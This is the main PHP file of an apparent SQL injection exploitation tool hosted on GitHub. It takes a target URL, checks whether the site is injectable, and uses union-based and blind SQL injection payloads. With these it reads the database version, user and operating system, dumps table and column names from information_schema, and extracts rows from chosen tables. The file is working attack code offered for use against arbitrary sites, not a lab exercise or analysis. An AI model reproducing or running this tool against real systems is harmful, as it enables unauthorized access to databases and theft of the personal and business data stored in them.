-
Notifications
You must be signed in to change notification settings - Fork 12
/
Copy pathindex.php
176 lines (162 loc) · 7.44 KB
/
index.php
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
<?php
session_start();
require_once 'inc/injbot.class.php';
require_once 'inc/injbot.function.php';
if ( (!isset($_POST["scan"]) && !isset($_POST["url"])) || (isset($_POST["scan"]) && empty($_POST["url"])) ) {
_print();
exit;
} elseif ($_POST['select_attack'] != 'test' && !isset($_SESSION['scanner'])) {
_print(" Scan the target first..");
exit;
} elseif (isset($_POST["close"])) {
session_destroy();
_print(" Profile cleared..");
exit;
}
//============== Scan OPTION =================
isset($_POST["select_attack"]) ? $option = $_POST['select_attack'] : $option = "";
switch ($option) {
case "test":
$timer = microtime(true);
if (isset($_SESSION["target"])) {
_print(" Already scanned..");
exit;
}
$target = new TargetServer((array)$_POST["url"]);
$scanner = new Scanner($target);
$isVuln = $scanner->check_vuln();
$_SESSION["target"] = serialize($target);
$_SESSION["scanner"] = serialize($scanner);
if ($isVuln == false) {
session_destroy();
_print(" Target may not be vulnerable!");
exit;
}
$stop = round(microtime(true) - $timer,2);
_print(" Vulnerable.. Elapsed time (".$stop." sec)");
exit;
//========== Database Info OPTION ===========
#| version | 8.0.12 |
#| version_comment | MySQL Community Server - GPL |
#| version_compile_machine | x86_64 |
#| version_compile_os | Linux
case "dbinfo":
$timer = microtime(true);
$msg = " Fetching database info...";
$target = unserialize($_SESSION["target"]);
$scanner = unserialize($_SESSION["scanner"]);
$sep = str_repeat($scanner->sep, 2);
$payload = "mid(@@GLOBAL.version,1,1),@@GLOBAL.version_comment,@@GLOBAL.version_compile_os,database(),user()";
try {
if (!isset($_POST['blindOn'])) {
$dbinfo = $scanner->get_exploit($payload);
$dbinfo = explode($sep, $dbinfo);
} else { # Blind is selected
$dbinfo = $scanner->get_records("", $payload, 1);
$dbinfo = explode($scanner->sep, $dbinfo[0]);
}
$target->set_dbInfo($dbinfo);
$result="<tr><td>| Version<td> | ".$dbinfo[0];
$result.="<tr><td>| Database<td> | ".$dbinfo[3];
$result.="<tr><td>| User<td> | ".$dbinfo[4];
$result.="<tr><td>| Operating System<td> | ".$dbinfo[1].$dbinfo[2];
$_SESSION["target"] = serialize($target);
$_SESSION["scanner"] = serialize($scanner);
} catch(Exception $e) {
_print("Cannot fetch database information.. Try 'Blind SQLi' option.");
}
$stop = round(microtime(true) - $timer,2);
_print($msg." Elapsed time (".$stop." sec)",$result);
exit;
//============== [All DBs] Fetch Schemas OPTION =================
case "fschem":
$timer = microtime(true);
$target = unserialize($_SESSION["target"]);
$scanner = unserialize($_SESSION["scanner"]);
if (!isset($target->tblCount)) {
$tblCount = $scanner->get_exploit("count(table_name)", "information_schema.tables");
$scanner->site->set_tblCount((int)$tblCount[0]);
}
$msg = " Trying to get table schemas..";
$result = "";
if (!isset($_POST['blindOn'])) {
$tblSchemas = $scanner->get_exploit("concat(table_name,column_name)", "information_schema.columns", "table_name=(select+table_name+from+information_schema.tables+where+table_schema=database()", true);
$scanner->site->set_tblSchemas($tblSchemas);
if (empty($tblSchemas)) {
_print(" Failed to get any schemas.. Try 'Blind SQLi' option.");
exit;
}
foreach ($tblSchemas as $tKey => $tblSchema) {
$result .= "<thead><tr><th class='first-th'>$tKey</th></tr></thead>";
foreach ($tblSchema as $cKey => $colSchema) {
$result .= "<tr><td class='first-td'>$colSchema";
}
}
} else {
$tblSchemas = $scanner->blind_fetch();
if ($tblSchemas == false) {
_print(" Failed to get any schemas.. Try a different link.");
exit;
} else {
foreach ($tblSchemas as $tKey => $tblSchema) {
$result .= "<thead><tr><th class='first-th'>$tKey</th></tr></thead>";
foreach ($tblSchema as $cKey => $colSchema) {
$result .= "<tr><td class='first-td'>$colSchema";
}
}
}
}
if ($tblSchemas) {
$target->set_tblSchemas($tblSchemas);
$_SESSION["target"] = serialize($target);
$_SESSION["scanner"] = serialize($scanner);
$stop = round(microtime(true) - $timer,2);
_print($msg." Elapsed time (".$stop." sec)", $result);
}
exit;
case "recrd":
$timer = microtime(true);
if (empty($_POST["tbl_select"])) {
_print(" Select 'Fetch schemas' first..");
exit;
}
$tblName = $_POST["tbl_select"];
$rowsNo = (int)$_POST["rows_no"];
$target = unserialize($_SESSION["target"]);
$scanner = unserialize($_SESSION["scanner"]);
$scanner->site->set_rowsCount($rowsNo);
$msg = " Fetching '$tblName' records..";
$colsNo = sizeof($target->tblSchemas[$tblName]);
$result = "<thead><tr>";
if (!isset($_POST["blindOn"])) {
$colNames = implode(",", $target->tblSchemas[$tblName]);
$recordsData = $scanner->get_exploit($colNames, $tblName);
foreach ($target->tblSchemas[$tblName] as $i => $col) {
$result .= "<th>$col";
}
$result .= "</th></thead>";
foreach ($recordsData[$tblName] as $cKey => $cols) {
$result .= "<tr>";
foreach ($cols as $key => $col) {
strlen($col) > 41 ? $col = substr($col, 0, 41)."..." : $col;
$result .= "<td>".$col;
}
}
} else {
# build array like with column name as its chars length, ie array("id" => 2, "uname" => 5...)
$columns = implode(",", $target->tblSchemas[$tblName]);
$gemsData = $scanner->get_records($tblName, $columns, $rowsNo);
foreach ($gemsData as $rKey => $cellData) {
$recordsData[$rKey] = implode(array_map("chr", $cellData));
$recordsData[$rKey] = explode($scanner->sep, $recordsData[$rKey]);
$recordsData[$rKey] = array_combine($target->tblSchemas[$tblName], $recordsData[$rKey]);
$result .= "<tr>";
foreach ($recordsData[$rKey] as $key => $record) {
$result.="<td>".$record;
}
}
}
$stop = round(microtime(true) - $timer,2);
isset($recordsData) ? _print($msg." Elapsed time (".$stop." sec)", $result) : _print(" Cannot get any records.. Try 'Blind SQLi' option.");
exit;
}